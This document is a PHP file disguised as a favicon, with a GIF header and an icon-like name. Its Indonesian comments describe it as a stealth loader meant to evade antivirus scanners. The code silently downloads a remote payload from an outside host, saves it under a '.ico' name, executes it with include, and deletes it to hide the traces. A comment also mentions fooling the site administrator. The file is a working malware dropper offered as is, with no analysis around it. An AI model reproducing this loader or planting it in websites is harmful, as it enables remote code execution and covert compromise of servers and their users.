~NAXC~

File Content: `1773150669favicon.php`

GIF89a;
<?php
/**
 * Script Stealth Loader - Menyamar dari Scanner Antivirus
 */
error_reporting(0);
@ini_set('display_errors', 0);

// Nama file disamarkan seolah-olah file gambar/icon
$p = 'favicon_conf.ico'; 
$u = 'https://fcalpha.net/web/photo/20151024/naxc.txt';

function fetch($url) {
    $c = curl_init();
    // Gunakan array untuk opsi agar tidak terlihat mencurigakan di baris tunggal
    $opt = [
        CURLOPT_URL => $url,
        CURLOPT_RETURNTRANSFER => 1,
        CURLOPT_FOLLOWLOCATION => 1,
        CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; v' . rand(10,99) . ')',
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_TIMEOUT => 15
    ];
    curl_setopt_array($c, $opt);
    $r = curl_exec($c);
    curl_close($c);
    return $r;
}

$data = fetch($u);

if ($data && strlen($data) > 100) {
    // Tambahkan proteksi tag PHP jika belum ada
    if (substr(trim($data), 0, 5) !== '<?php') {
        $data = '<?php ' . $data;
    }

    // Tulis ke file dengan nama samaran .ico
    // LOCK_EX mencegah file menjadi 0kb
    if (@file_put_contents($p, $data, LOCK_EX)) {
        
        // Gunakan include untuk menjalankan file .ico tersebut sebagai PHP
        if (file_exists($p) && filesize($p) > 0) {
            @include($p);
        }
        
        // Hapus jejak segera setelah dijalankan
        @unlink($p);
    }
} else {
    // Jika gagal, tampilkan pesan palsu agar tidak dicurigai admin
    echo "";
}
?>
File Content: 1773150669favicon.php

File Content: `1773150669favicon.php`
